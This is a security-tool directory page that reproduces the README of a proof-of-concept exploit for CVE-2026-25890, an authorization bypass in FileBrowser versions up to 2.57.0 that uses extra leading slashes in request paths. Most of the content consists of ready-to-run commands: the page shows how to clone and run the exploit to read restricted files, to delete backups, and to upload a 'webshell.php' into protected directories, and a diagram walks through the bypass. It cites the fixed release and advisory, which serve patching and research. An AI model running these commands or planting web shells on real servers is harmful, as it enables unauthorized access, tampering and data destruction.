Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-25890-FileBrowser-Access-Control-Bypass — Exploit for CVE-2026-25890, a path-based authorization bypass in FileBrowser <= v2.57.0, allowing authenticated low-privileged users to read, upload, and delete restricted files via multiple leading slashes. | Kitploit
Tools/GitHubGitHub/mbanyamer/cve-2026-25890-filebrowser-access-control-bypass
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubmbanyamer/cve-2026-25890-filebrowser-access-control-bypass

CVE-2026-25890-FileBrowser-Access-Control-Bypass

Exploit for CVE-2026-25890, a path-based authorization bypass in FileBrowser <= v2.57.0, allowing authenticated low-privileged users to read, upload, and delete restricted files via multiple leading slashes.

View Repository
6 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-25890 - FileBrowser Access Control Bypass

Author GitHub license Python version CVE Exploit-DB Tested on

Unauthenticated users cannot exploit this — requires valid low-privileged credentials that are restricted from the target path.

Path-based authorization bypass in FileBrowser ≤ v2.57.0 using multiple leading slashes (//private instead of /private) to evade strings.HasPrefix() checks while the filesystem still serves the canonical path.

Fixed in v2.57.1 (commit 489af403... – removed r.SkipClean(true)).

📦 Features

  • Read restricted files
  • Upload files into restricted directories
  • Delete restricted files
  • Custom number of leading slashes for bypass testing
  • Save leaked files locally
  • Verbose content preview
  • Clean CLI with argparse

🛠️ Installation

root@kitploit:~
# Clone the repository
git clone https://github.com/banyamer/CVE-2026-25890-FileBrowser-Bypass.git
cd CVE-2026-25890-FileBrowser-Bypass

# No dependencies beyond standard library + requests
pip install requests

🚀 Usage

root@kitploit:~
python3 exploit.py --help

Basic examples

root@kitploit:~
# Read a restricted file
python3 exploit.py \
  --url http://192.168.1.50:8080 \
  --username bob \
  --password password123 \
  --path /private/secret.txt \
  --action read \
  --save leaked_secret.txt \
  --verbose
root@kitploit:~
# Upload malicious file into restricted folder
python3 exploit.py \
  --url http://target:8080 \
  --username lowpriv \
  --password pass \
  --path /data/ \
  --action upload \
  --upload-file webshell.php \
  --slashes 3
root@kitploit:~
# Delete a restricted file
python3 exploit.py \
  --url http://10.10.10.123:80 \
  --username alice \
  --password secret \
  --path /backups/database.bak \
  --action delete \
  --slashes 4

📊 PoC Attack Flow

root@kitploit:~
sequenceDiagram
    participant Attacker
    participant FileBrowser ≤ v2.57.0
    participant Gorilla Mux Router
    participant Auth Middleware
    participant Filesystem Handler

    Attacker->>FileBrowser: GET /api/resources/private/secret.txt<br>(normal request)
    FileBrowser->>Gorilla Mux: Path = /api/resources/private/secret.txt
    Gorilla Mux->>Auth Middleware: path = "/private/secret.txt"
    Auth Middleware->>Auth Middleware: strings.HasPrefix("/private/secret.txt", disallowed="/private") → true
    Auth Middleware->>Attacker: 403 Forbidden

    Note over Attacker,FileBrowser: Attacker tries bypass

    Attacker->>FileBrowser: GET /api/resources//private/secret.txt
    FileBrowser->>Gorilla Mux: Path = /api/resources//private/secret.txt<br>(SkipClean=true → no normalization)
    Gorilla Mux->>Auth Middleware: path = "//private/secret.txt"
    Auth Middleware->>Auth Middleware: HasPrefix("//private/secret.txt", "/private") → false
    Auth Middleware->>Filesystem Handler: Allowed → proceed
    Filesystem Handler->>Filesystem: Normalizes // → /private/secret.txt
    Filesystem->>Filesystem Handler: Returns file content
    Filesystem Handler->>Attacker: 200 OK + secret content

⚠️ Legal & Ethical Disclaimer

This proof-of-concept is provided strictly for educational and security research purposes.
Do not use this code against any system without explicit written permission from the owner.
Unauthorized access or modification of systems is illegal under most jurisdictions (e.g. CFAA, Computer Misuse Act).

📜 References

  • GitHub Advisory GHSA-4mh3-h929-w968
  • Fix Commit
  • Release v2.57.1

❤️ Credits

Exploit Author: Mohammed Idrees Banyamer
Country: Jordan
Instagram: @banyamer_security

Star ⭐ the repo if you find it useful!


Last updated: February 2026

Download Tool